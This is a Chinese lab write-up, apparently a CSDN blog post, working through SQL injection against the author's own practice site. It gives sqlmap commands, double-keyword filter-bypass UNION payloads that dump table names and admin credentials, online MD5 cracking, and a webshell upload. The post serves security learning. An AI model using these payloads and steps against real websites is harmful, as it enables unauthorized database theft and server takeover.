SQL注入(4)——实战SQL注入拿webshell

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP

通过一个实例来进行SQL注入的实战。

源码下载:
GitHub:https://github.com/13337356453/SQLTest/
CSDN:https://download.csdn.net/download/realmels/19136813

前言

SQL注入也讲了这么多了,都是些理论的东西,这边我自己随便弄了个小靶场来练习SQL注入。

我这个小靶场是根据我之前通过SQL注入弄下来的靶场改的(当然不可能找个网站来黑,要遵纪守法),大体和原理是差不多的,没有好看的CSS,代码也很简陋。

同时这是我第一次接触PHP,本人不是搞前端的,能用就行。

在使用之前,先下载源码。

创建密码为SQLTestsql用户。或在model.php中配置MySQL连接信息。并执行sqltest.sql文件。

可以在下载源代码后自己不看源码尝试一下,作不出再看源码。同时该博客有详细解析。

测试ip :192.168.1.7


测试流程

访问网站的主页,到处看看有什么东西。

在这里插入图片描述

访问新闻页面,发现有参数id怀疑存在SQL注入,输入and 1=1and 1=2进行测试。

在这里插入图片描述
在这里插入图片描述都返回了正常的界面,不确定是否存在注入漏洞,放进SQLMap里扫一手。

sqlmap -u http://192.168.1.7/news.php?id=1 --random-agent -level 3 --tamper base64encode,equaltolike -batch

在它慢慢扫的时候,继续看其他的页面。

看见有一个用户信息获取的界面,可以输入用户id以获取用户信息。
在这里插入图片描述
随便输入1,按下查询,页面没有发生变化,弹出了id为1的用户信息。
在这里插入图片描述
此时SQLMap扫的差不多了,并没有发现注入漏洞。
在这里插入图片描述
界面没有刷新,盲猜是Ajax的数据提交。

用bp抓包看一下。
在这里插入图片描述
在这里插入图片描述
id参数可控,输入and 1=1and 1=2进行测试
在这里插入图片描述

在这里插入图片描述
两次都无响应,不过先不慌,用SQLMAP扫一手。

右键请求,复制到文件,将其保存到文件

在这里插入图片描述
我这里将文件保存为1,可以打开文件查看内容
在这里插入图片描述

POST /getUser.php HTTP/1.1
Host: 192.168.1.7
Content-Length: 12
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.7
Referer: http://192.168.1.7/user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=1

文件中储存了请求的内容,先cd到同一路径,然后用SQLMAP扫一手

sqlmap -r .\1 --random-agent -level 3 -tamper base64encode,equaltolike -batch

在这里插入图片描述
继续观察网页,在url后面加上一个admin,直接出了后台地址。

在这里插入图片描述
输入万能密码试一下。
’ or ‘1’=‘1’–+
在这里插入图片描述
并没有什么用。

此时SQLMAP差不多扫好了,看看。
在这里插入图片描述
也没有扫出来,这就有点尴尬了,不过问题不大,有时工具会误判,手工试一下。

常见的绕过脚本有大小写绕过,双写绕过,两次URL全编码绕过等。这里一个一个试。

大小写
payload : id=1 AnD 1=1
在这里插入图片描述
无响应。

双写绕过
payload : id=1 anandd 1=1
在这里插入图片描述
返回了正常的请求,有戏。
输入

payload : id=1 anandd 1=2

在这里插入图片描述
确认存在注入漏洞。


获取回显位置
payload : id=-1 ununionion selselectect 1,2,3
在这里插入图片描述
三个位置都可以回显。

爆数据库版本,数据库名,用户
payload : id=-1 ununionion selselectect version(),database(),user()
在这里插入图片描述
爆表名
payload : id=-1 ununionion selselectect 1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+wwherehere+table_schema=database()
在这里插入图片描述
得到表名为admin,news,products,users

爆列名
payload:id=-1+ununionion+selselectect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+wwherehere+table_schema=database()+anandd+table_name='admin'
在这里插入图片描述
爆内容
payload : id=-1+ununionion+selselectect+1,2,group_concat(uname,',',pwd)+frfromom+admin+limit+0,1
在这里插入图片描述

得到的pwd是一个md5值,在在线解密网站上进行解密。
https://www.cmd5.com/
在这里插入图片描述
登录后台。

在这里插入图片描述
有文件上传点,直接上传WebShell,蚁剑连接

在这里插入图片描述
在这里插入图片描述
渗透成功。

结语

此外,还有其他的方法,可自行尝试

本人小白,希望各位大佬能给我提出意见。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值